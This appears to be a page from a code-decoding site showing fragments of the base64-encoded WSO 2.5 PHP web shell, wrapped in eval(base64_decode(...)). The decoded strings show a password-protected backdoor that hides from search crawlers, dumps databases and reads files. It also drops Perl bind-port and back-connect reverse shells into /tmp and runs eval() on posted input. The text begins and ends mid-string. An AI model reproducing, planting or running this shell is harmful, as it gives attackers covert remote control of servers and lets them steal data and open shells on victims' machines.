1ZS4nPC9vcHRpb24+JzsNCgkJCX0NCgkJCWVjaG8gJzwvc2VsZWN0Pic7DQoJCX0NCgkJZWxzZSBlY2hvICR0bXA7DQoJfWVsc2UNCgkJZWNobyAkdG1wOw0KCWVjaG8gIjwvdGQ+DQoJCQkJPHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nIG9uY2xpY2s9J2ZzKGQuc2YpOyc+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1zcWxfY291bnQgdmFsdWU9J29uJyIgLiAoZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSk/Jyc6JyBjaGVja2VkJykgLiAiPiBjb3VudCB0aGUgbnVtYmVyIG9mIHJvd3M8L3RkPg0KCQkJPC90cj4NCgkJPC90YWJsZT4NCgkJPHNjcmlwdD4NCiAgICAgICAgICAgIHNfZGI9JyIuQGFkZHNsYXNoZXMoJF9QT1NUWydzcWxfYmFzZSddKS4iJzsNCiAgICAgICAgICAgIGZ1bmN0aW9uIGZzKGYpIHsNCiAgICAgICAgICAgICAgICBpZihmLnNxbF9iYXNlLnZhbHVlIT1zX2RiKSB7IGYub25zdWJtaXQgPSBmdW5jdGlvbigpIHt9Ow0KICAgICAgICAgICAgICAgICAgICBpZihmLnAxKSBmLnAxLnZhbHVlPScnOw0KICAgICAgICAgICAgICAgICAgICBpZihmLnAyKSBmLnAyLnZhbHVlPScnOw0KICAgICAgICAgICAgICAgICAgICBpZihmLnAzKSBmLnAzLnZhbHVlPScnOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCgkJCWZ1bmN0aW9uIHN0KHQsbCkgew0KCQkJCWQuc2YucDEudmFsdWUgPSAnc2VsZWN0JzsNCgkJCQlkLnNmLnAyLnZhbHVlID0gdDsNCiAgICAgICAgICAgICAgICBpZihsICYmIGQuc2YucDMpIGQuc2YucDMudmFsdWUgPSBsOw0KCQkJCWQuc2Yuc3VibWl0KCk7DQoJCQl9DQoJCQlmdW5jdGlvbiBpcygpIHsNCgkJCQlmb3IoaT0wO2k8ZC5zZi5lbGVtZW50c1sndGJsW10nXS5sZW5ndGg7KytpKQ0KCQkJCQlkLnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldLmNoZWNrZWQgPSAhZC5zZi5lbGVtZW50c1sndGJsW10nXVtpXS5jaGVja2VkOw0KCQkJfQ0KCQk8L3NjcmlwdD4iOw0KCWlmKGlzc2V0KCRkYikgJiYgJGRiLT5saW5rKXsNCgkJZWNobyAiPGJyLz48dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0yIGNlbGxzcGFjaW5nPTA+IjsNCgkJCWlmKCFlbXB0eSgkX1BPU1RbJ3NxbF9iYXNlJ10pKXsNCgkJCQkkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7DQoJCQkJZWNobyAiPHRyPjx0ZCB3aWR0aD0xIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc+PHNwYW4+VGFibGVzOjwvc3Bhbj48YnI+PGJyPiI7DQoJCQkJJHRibHNfcmVzID0gJGRiLT5saXN0VGFibGVzKCk7DQoJCQkJd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCR0YmxzX3JlcykpIHsNCgkJCQkJbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgkaXRlbSk7DQogICAgICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICRuID0gJGRiLT5mZXRjaCgkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcuJHZhbHVlLicnKSk7DQoJCQkJCSR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKTsNCgkJCQkJZWNobyAiPG5vYnI+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd0YmxbXScgdmFsdWU9JyIuJHZhbHVlLiInPiZuYnNwOzxhIGhyZWY9IyBvbmNsaWNrPVwic3QoJyIuJHZhbHVlLiInLDEpXCI+Ii4kdmFsdWUuIjwvYT4iIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPycmbmJzcDsnOiIgPHNtYWxsPih7JG5bJ24nXX0pPC9zbWFsbD4iKSAuICI8L25vYnI+PGJyPiI7DQoJCQkJfQ0KCQkJCWVjaG8gIjxpbnB1dCB0eXBlPSdjaGVja2JveCcgb25jbGljaz0naXMoKTsnPiA8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0R1bXAnIG9uY2xpY2s9J2RvY3VtZW50LnNmLnAyLnZhbHVlPVwiZG93bmxvYWRcIjtkb2N1bWVudC5zZi5zdWJtaXQoKTsnPjxicj5GaWxlIHBhdGg6PGlucHV0IHR5cGU9dGV4dCBuYW1lPWZpbGUgdmFsdWU9J2R1bXAuc3FsJz48L3RkPjx0ZCBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzY2NjsnPiI7DQoJCQkJaWYoQCRfUE9TVFsncDEnXSA9PSAnc2VsZWN0Jykgew0KCQkJCQkkX1BPU1RbJ3AxJ10gPSAncXVlcnknOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ10gPSAkX1BPU1RbJ3AzJ10/JF9QT1NUWydwMyddOjE7DQoJCQkJCSRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZST00gJyAuICRfUE9TVFsncDInXSk7DQoJCQkJCSRudW0gPSAkZGItPmZldGNoKCk7DQoJCQkJCSRwYWdlcyA9IGNlaWwoJG51bVsnbiddIC8gMzApOw0KICAgICAgICAgICAgICAgICAgICBlY2hvICI8c2NyaXB0PmQuc2Yub25zdWJtaXQ9ZnVuY3Rpb24oKXtzdChcIiIgLiAkX1BPU1RbJ3AyJ10gLiAiXCIsIGQuc2YucDMudmFsdWUpfTwvc2NyaXB0PjxzcGFuPiIuJF9QT1NUWydwMiddLiI8L3NwYW4+ICh7JG51bVsnbiddfSByZWNvcmRzKSBQYWdlICMgPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdwMycgdmFsdWU9IiAuICgoaW50KSRfUE9TVFsncDMnXSkgLiAiPiI7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIiBvZiAkcGFnZXMiOw0KICAgICAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ3AzJ10gPiAxKQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiIDxhIGhyZWY9IyBvbmNsaWNrPSdzdChcIiIgLiAkX1BPU1RbJ3AyJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3AzJ10tMSkgLiAiKSc+Jmx0OyBQcmV2PC9hPiI7DQogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsncDMnXSA8ICRwYWdlcykNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiA8YSBocmVmPSMgb25jbGljaz0nc3QoXCIiIC4gJF9QT1NUWydwMiddIC4gJyIsICcgLiAoJF9QT1NUWydwMyddKzEpIC4gIiknPk5leHQgJmd0OzwvYT4iOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ10tLTsNCgkJCQkJaWYoJF9QT1NUWyd0eXBlJ109PSdwZ3NxbCcpDQoJCQkJCQkkX1BPU1RbJ3AyJ10gPSAnU0VMRUNUICogRlJPTSAnLiRfUE9TVFsncDInXS4nIExJTUlUIDMwIE9GRlNFVCAnLigkX1BPU1RbJ3AzJ10qMzApOw0KCQkJCQllbHNlDQoJCQkJCQkkX1BPU1RbJ3AyJ10gPSAnU0VMRUNUICogRlJPTSBgJy4kX1BPU1RbJ3AyJ10uJ2AgTElNSVQgJy4oJF9QT1NUWydwMyddKjMwKS4nLDMwJzsNCgkJCQkJZWNobyAiPGJyPjxicj4iOw0KCQkJCX0NCgkJCQlpZigoQCRfUE9TVFsncDEnXSA9PSAncXVlcnknKSAmJiAhZW1wdHkoJF9QT1NUWydwMiddKSkgew0KCQkJCQkkZGItPnF1ZXJ5KEAkX1BPU1RbJ3AyJ10pOw0KCQkJCQlpZigkZGItPnJlcyAhPT0gZmFsc2UpIHsNCgkJCQkJCSR0aXRsZSA9IGZhbHNlOw0KCQkJCQkJZWNobyAnPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yIGNsYXNzPW1haW4gc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzI5MjkyOSI+JzsNCgkJCQkJCSRsaW5lID0gMTsNCgkJCQkJCXdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKQl7DQoJCQkJCQkJaWYoISR0aXRsZSkJew0KCQkJCQkJCQllY2hvICc8dHI+JzsNCgkJCQkJCQkJZm9yZWFjaCgkaXRlbSBhcyAka2V5ID0+ICR2YWx1ZSkNCgkJCQkJCQkJCWVjaG8gJzx0aD4nLiRrZXkuJzwvdGg+JzsNCgkJCQkJCQkJcmVzZXQoJGl0ZW0pOw0KCQkJCQkJCQkkdGl0bGU9dHJ1ZTsNCgkJCQkJCQkJZWNobyAnPC90cj48dHI+JzsNCgkJCQkJCQkJJGxpbmUgPSAyOw0KCQkJCQkJCX0NCgkJCQkJCQllY2hvICc8dHIgY2xhc3M9ImwnLiRsaW5lLiciPic7DQoJCQkJCQkJJGxpbmUgPSAkbGluZT09MT8yOjE7DQoJCQkJCQkJZm9yZWFjaCgkaXRlbSBhcyAka2V5ID0+ICR2YWx1ZSkgew0KCQkJCQkJCQlpZigkdmFsdWUgPT0gbnVsbCkNCgkJCQkJCQkJCWVjaG8gJzx0ZD48aT5udWxsPC9pPjwvdGQ+JzsNCgkJCQkJCQkJZWxzZQ0KCQkJCQkJCQkJZWNobyAnPHRkPicubmwyYnIoaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpKS4nPC90ZD4nOw0KCQkJCQkJCX0NCgkJCQkJCQllY2hvICc8L3RyPic7DQoJCQkJCQl9DQoJCQkJCQllY2hvICc8L3RhYmxlPic7DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQllY2hvICc8ZGl2PjxiPkVycm9yOjwvYj4gJy5odG1sc3BlY2lhbGNoYXJzKCRkYi0+ZXJyb3IoKSkuJzwvZGl2Pic7DQoJCQkJCX0NCgkJCQl9DQoJCQkJZWNobyAiPGJyPjwvZm9ybT48Zm9ybSBvbnN1Ym1pdD0nZC5zZi5wMS52YWx1ZT1cInF1ZXJ5XCI7ZC5zZi5wMi52YWx1ZT10aGlzLnF1ZXJ5LnZhbHVlO2RvY3VtZW50LnNmLnN1Ym1pdCgpO3JldHVybiBmYWxzZTsnPjx0ZXh0YXJlYSBuYW1lPSdxdWVyeScgc3R5bGU9J3dpZHRoOjEwMCU7aGVpZ2h0OjEwMHB4Jz4iOw0KICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AyJ10pICYmICgkX1BPU1RbJ3AxJ10gIT0gJ2xvYWRmaWxlJykpDQogICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10pOw0KICAgICAgICAgICAgICAgIGVjaG8gIjwvdGV4dGFyZWE+PGJyLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0V4ZWN1dGUnPiI7DQoJCQkJZWNobyAiPC90ZD48L3RyPiI7DQoJCQl9DQoJCQllY2hvICI8L3RhYmxlPjwvZm9ybT48YnIvPiI7DQogICAgICAgICAgICBpZigkX1BPU1RbJ3R5cGUnXT09J215c3FsJykgew0KICAgICAgICAgICAgICAgICRkYi0+cXVlcnkoIlNFTEVDVCAxIEZST00gbXlzcWwudXNlciBXSEVSRSBjb25jYXQoYHVzZXJgLCAnQCcsIGBob3N0YCkgPSBVU0VSKCkgQU5EIGBGaWxlX3ByaXZgID0gJ3knIik7DQogICAgICAgICAgICAgICAgaWYoJGRiLT5mZXRjaCgpKQ0KICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9ybSBvbnN1Ym1pdD0nZC5zZi5wMS52YWx1ZT1cImxvYWRmaWxlXCI7ZG9jdW1lbnQuc2YucDIudmFsdWU9dGhpcy5mLnZhbHVlO2RvY3VtZW50LnNmLnN1Ym1pdCgpO3JldHVybiBmYWxzZTsnPjxzcGFuPkxvYWQgZmlsZTwvc3Bhbj4gPGlucHV0ICBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPiI7DQogICAgICAgICAgICB9DQoJCQlpZihAJF9QT1NUWydwMSddID09ICdsb2FkZmlsZScpIHsNCgkJCQkkZmlsZSA9ICRkYi0+bG9hZEZpbGUoJF9QT1NUWydwMiddKTsNCgkJCQllY2hvICc8YnIvPjxwcmUgY2xhc3M9bWwxPicuaHRtbHNwZWNpYWxjaGFycygkZmlsZVsnZmlsZSddKS4nPC9wcmU+JzsNCgkJCX0NCgl9IGVsc2Ugew0KICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigpKTsNCiAgICB9DQoJZWNobyAnPC9kaXY+JzsNCgl3c29Gb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFjdGlvbk5ldHdvcmsoKSB7DQoJd3NvSGVhZGVyKCk7DQoJJGJhY2tfY29ubmVjdF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdsaFpHUnlQV2x1WlhSZllYUnZiaWdrUVZKSFZsc3dYU2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1RzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ25MMkpwYmk5emFDQXRhU2NwT3cwS1kyeHZjMlVvVTFSRVNVNHBPdzBLWTJ4dmMyVW9VMVJFVDFWVUtUc05DbU5zYjNObEtGTlVSRVZTVWlrNyI7DQoJJGJpbmRfcG9ydF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRb2tVMGhGVEV3OUlpOWlhVzR2YzJnZ0xXa2lPdzBLYVdZZ0tFQkJVa2RXSUR3Z01Ta2dleUJsZUdsMEtERXBPeUI5RFFwMWMyVWdVMjlqYTJWME93MEtjMjlqYTJWMEtGTXNKbEJHWDBsT1JWUXNKbE5QUTB0ZlUxUlNSVUZOTEdkbGRIQnliM1J2WW5sdVlXMWxLQ2QwWTNBbktTa2dmSHdnWkdsbElDSkRZVzUwSUdOeVpXRjBaU0J6YjJOclpYUmNiaUk3RFFwelpYUnpiMk5yYjNCMEtGTXNVMDlNWDFOUFEwdEZWQ3hUVDE5U1JWVlRSVUZFUkZJc01TazdEUXBpYVc1a0tGTXNjMjlqYTJGa1pISmZhVzRvSkVGU1IxWmJNRjBzU1U1QlJFUlNYMEZPV1NrcElIeDhJR1JwWlNBaVEyRnVkQ0J2Y0dWdUlIQnZjblJjYmlJN0RRcHNhWE4wWlc0b1V5d3pLU0I4ZkNCa2FXVWdJa05oYm5RZ2JHbHpkR1Z1SUhCdmNuUmNiaUk3RFFwM2FHbHNaU2d4S1NCN0RRb0pZV05qWlhCMEtFTlBUazRzVXlrN0RRb0phV1lvSVNna2NHbGtQV1p2Y21zcEtTQjdEUW9KQ1dScFpTQWlRMkZ1Ym05MElHWnZjbXNpSUdsbUlDZ2haR1ZtYVc1bFpDQWtjR2xrS1RzTkNna0piM0JsYmlCVFZFUkpUaXdpUENaRFQwNU9JanNOQ2drSmIzQmxiaUJUVkVSUFZWUXNJajRtUTA5T1RpSTdEUW9KQ1c5d1pXNGdVMVJFUlZKU0xDSStKa05QVGs0aU93MEtDUWxsZUdWaklDUlRTRVZNVENCOGZDQmthV1VnY0hKcGJuUWdRMDlPVGlBaVEyRnVkQ0JsZUdWamRYUmxJQ1JUU0VWTVRGeHVJanNOQ2drSlkyeHZjMlVnUTA5T1Rqc05DZ2tKWlhocGRDQXdPdzBLQ1gwTkNuMD0iOw0KCWVjaG8gIjxoMT5uRXR3MHJLIHQwMExzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+DQoJPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD1cImcobnVsbCxudWxsLCdicHAnLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPg0KCTxzcGFuPmJMaW5EIHAwclQgdDAgL2JpTi9zSCBbcEVyTF08L3NwYW4+PGJyLz4NCglwMHJUOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncDByVCcgdmFsdWU9JzMxMzM3Jz4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+DQoJPC9mb3JtPg0KCTxmb3JtIG5hbWU9J25mcCcgb25TdWJtaXQ9XCJnKG51bGwsbnVsbCwnYmNwJyx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTtcIj4NCgk8c3Bhbj5iQUNrLWMwbk5lQ3QgW3BFckxdPC9zcGFuPjxici8+DQoJc0VydkVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0nIi4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiInPiBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncDByVCcgdmFsdWU9JzMxMzM3Jz4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+DQoJPC9mb3JtPjxicj4iOw0KCWlmKGlzc2V0KCRfUE9TVFsncDEnXSkpIHsNCgkJZnVuY3Rpb24gY2YoJGYsJHQpIHsNCgkJCSR3ID0gQGZvcGVuKCRmLCJ3Iikgb3IgQGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKTsNCgkJCWlmKCR3KXsNCgkJCQlAZndyaXRlKCR3LEBiYXNlNjRfZGVjb2RlKCR0KSk7DQoJCQkJQGZjbG9zZSgkdyk7DQoJCQl9DQoJCX0NCgkJaWYoJF9QT1NUWydwMSddID09ICdicHAnKSB7DQoJCQljZigiL3RtcC9icC5wbCIsJGJpbmRfcG9ydF9wKTsNCgkJCSRvdXQgPSB3c29FeCgicGVybCAvdG1wL2JwLnBsICIuJF9QT1NUWydwMiddLiIgMT4vZGV2L251bGwgMj4mMSAmIik7DQogICAgICAgICAgICBzbGVlcCgxKTsNCgkJCWVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIud3NvRXgoInBzIGF1eCB8IGdyZXAgYnAucGwiKS4iPC9wcmU+IjsNCiAgICAgICAgICAgIHVubGluaygiL3RtcC9icC5wbCIpOw0KCQl9DQoJCWlmKCRfUE9TVFsncDEnXSA9PSAnYmNwJykgew0KCQkJY2YoIi90bXAvYmMucGwiLCRiYWNrX2Nvbm5lY3RfcCk7DQoJCQkkb3V0ID0gd3NvRXgoInBlcmwgL3RtcC9iYy5wbCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgMT4vZGV2L251bGwgMj4mMSAmIik7DQogICAgICAgICAgICBzbGVlcCgxKTsNCgkJCWVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIud3NvRXgoInBzIGF1eCB8IGdyZXAgYmMucGwiKS4iPC9wcmU+IjsNCiAgICAgICAgICAgIHVubGluaygiL3RtcC9iYy5wbCIpOw0KCQl9DQoJfQ0KCWVjaG8gJzwvZGl2Pic7DQoJd3NvRm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhY3Rpb25SQygpIHsNCglpZighQCRfUE9TVFsncDEnXSkgew0KCQkkYSA9IGFycmF5KA0KCQkJInVuYW1lIiA9PiBwaHBfdW5hbWUoKSwNCgkJCSJwaHBfdmVyc2lvbiIgPT4gcGhwdmVyc2lvbigpLA0KCQkJIndzb192ZXJzaW9uIiA9PiBXU09fVkVSU0lPTiwNCgkJCSJzYWZlbW9kZSIgPT4gQGluaV9nZXQoJ3NhZmVfbW9kZScpDQoJCSk7DQoJCWVjaG8gc2VyaWFsaXplKCRhKTsNCgl9IGVsc2Ugew0KCQlldmFsKCRfUE9TVFsncDEnXSk7DQoJfQ0KfQ0KaWYoIGVtcHR5KCRfUE9TVFsnYSddKSApDQoJaWYoaXNzZXQoJGRlZmF1bHRfYWN0aW9uKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkZGVmYXVsdF9hY3Rpb24pKQ0KCQkkX1BPU1RbJ2EnXSA9ICRkZWZhdWx0X2FjdGlvbjsNCgllbHNlDQoJCSRfUE9TVFsnYSddID0gJ1NlY0luZm8nOw0KaWYoICFlbXB0eSgkX1BPU1RbJ2EnXSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pICkNCgljYWxsX3VzZXJfZnVuYygnYWN0aW9uJyAuICRfUE9TVFsnYSddKTs=')); 
?>

Did this file decode correctly?

Original Code

<?PhP
EVaL(BAsE64_DEcODe('JGF1dGhfcGFzcyA9ICIzZGE0ZDUxMzUxOGNlNjNhNzgyNjMzMTI0NTdlODE5YiI7DQokY29sb3IgPSAiIzY2NjY2NiI7DQokZGVmYXVsdF9hY3Rpb24gPSAnRmlsZXNNYW4nOw0KJGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOw0KJGRlZmF1bHRfY2hhcnNldCA9ICdXaW5kb3dzLTEyNTEnOw0KDQppZighZW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgew0KICAgICR1c2VyQWdlbnRzID0gYXJyYXkoIkdvb2dsZSIsICJTbHVycCIsICJNU05Cb3QiLCAiaWFfYXJjaGl2ZXIiLCAiWWFuZGV4IiwgIlJhbWJsZXIiKTsNCiAgICBpZihwcmVnX21hdGNoKCcvJyAuIGltcGxvZGUoJ3wnLCAkdXNlckFnZW50cykgLiAnL2knLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7DQogICAgICAgIGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOw0KICAgICAgICBleGl0Ow0KICAgIH0NCn0NCg0KQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7DQpAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQpAZGVmaW5lKCdXU09fVkVSU0lPTicsICcyLjUnKTsNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgew0KCWZ1bmN0aW9uIFdTT3N0cmlwc2xhc2hlcygkYXJyYXkpIHsNCgkJcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ1dTT3N0cmlwc2xhc2hlcycsICRhcnJheSkgOiBzdHJpcHNsYXNoZXMoJGFycmF5KTsNCgl9DQoJJF9QT1NUID0gV1NPc3RyaXBzbGFzaGVzKCRfUE9TVCk7DQogICAgJF9DT09LSUUgPSBXU09zdHJpcHNsYXNoZXMoJF9DT09LSUUpOw0KfQ0KDQpmdW5jdGlvbiB3c29Mb2dpbigpIHsNCglkaWUoIjxwcmUgYWxpZ249Y2VudGVyPjxmb3JtIG1ldGhvZD1wb3N0PnBBc1N3MFJkfjogPGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3ByZT4iKTsNCn0NCg0KZnVuY3Rpb24gV1NPc2V0Y29va2llKCRrLCAkdikgew0KICAgICRfQ09PS0lFWyRrXSA9ICR2Ow0KICAgIHNldGNvb2tpZSgkaywgJHYpOw0KfQ0KDQppZighZW1wdHkoJGF1dGhfcGFzcykpIHsNCiAgICBpZihpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgKG1kNSgkX1BPU1RbJ3Bhc3MnXSkgPT0gJGF1dGhfcGFzcykpDQogICAgICAgIFdTT3NldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSwgJGF1dGhfcGFzcyk7DQoNCiAgICBpZiAoIWlzc2V0KCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSkgfHwgKCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSAhPSAkYXV0aF9wYXNzKSkNCiAgICAgICAgd3NvTG9naW4oKTsNCn0NCg0KaWYoc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpID09ICJ3aW4iKQ0KCSRvcyA9ICd3aW4nOw0KZWxzZQ0KCSRvcyA9ICduaXgnOw0KDQokc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOw0KaWYoISRzYWZlX21vZGUpDQogICAgZXJyb3JfcmVwb3J0aW5nKDApOw0KDQokZGlzYWJsZV9mdW5jdGlvbnMgPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsNCiRob21lX2N3ZCA9IEBnZXRjd2QoKTsNCmlmKGlzc2V0KCRfUE9TVFsnYyddKSkNCglAY2hkaXIoJF9QT1NUWydjJ10pOw0KJGN3ZCA9IEBnZXRjd2QoKTsNCmlmKCRvcyA9PSAnd2luJykgew0KCSRob21lX2N3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGhvbWVfY3dkKTsNCgkkY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkY3dkKTsNCn0NCmlmKCRjd2Rbc3RybGVuKCRjd2QpLTFdICE9ICcvJykNCgkkY3dkIC49ICcvJzsNCg0KaWYoIWlzc2V0KCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnXSkpDQogICAgJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCddID0gKGJvb2wpJGRlZmF1bHRfdXNlX2FqYXg7DQoNCmlmKCRvcyA9PSAnd2luJykNCgkkYWxpYXNlcyA9IGFycmF5KA0KCQkiTGlzdCBEaXJlY3RvcnkiID0+ICJkaXIiLA0KICAgIAkiRmluZCBpbmRleC5waHAgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgaW5kZXgucGhwIiwNCiAgICAJIkZpbmQgKmNvbmZpZyoucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iICpjb25maWcqLnBocCIsDQogICAgCSJTaG93IGFjdGl2ZSBjb25uZWN0aW9ucyIgPT4gIm5ldHN0YXQgLWFuIiwNCiAgICAJIlNob3cgcnVubmluZyBzZXJ2aWNlcyIgPT4gIm5ldCBzdGFydCIsDQogICAgCSJVc2VyIGFjY291bnRzIiA9PiAibmV0IHVzZXIiLA0KICAgIAkiU2hvdyBjb21wdXRlcnMiID0+ICJuZXQgdmlldyIsDQoJCSJBUlAgVGFibGUiID0+ICJhcnAgLWEiLA0KCQkiSVAgQ29uZmlndXJhdGlvbiIgPT4gImlwY29uZmlnIC9hbGwiDQoJKTsNCmVsc2UNCgkkYWxpYXNlcyA9IGFycmF5KA0KICAJCSJMaXN0IGRpciIgPT4gImxzIC1saGEiLA0KCQkibGlzdCBmaWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW0iID0+ICJsc2F0dHIgLXZhIiwNCiAgCQkic2hvdyBvcGVuZWQgcG9ydHMiID0+ICJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuIiwNCiAgICAgICAgInByb2Nlc3Mgc3RhdHVzIiA9PiAicHMgYXV4IiwNCgkJIkZpbmQiID0+ICIiLA0KICAJCSJmaW5kIGFsbCBzdWlkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsDQogIAkJImZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiLA0KICAJCSJmaW5kIGFsbCBzZ2lkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsDQogIAkJImZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgP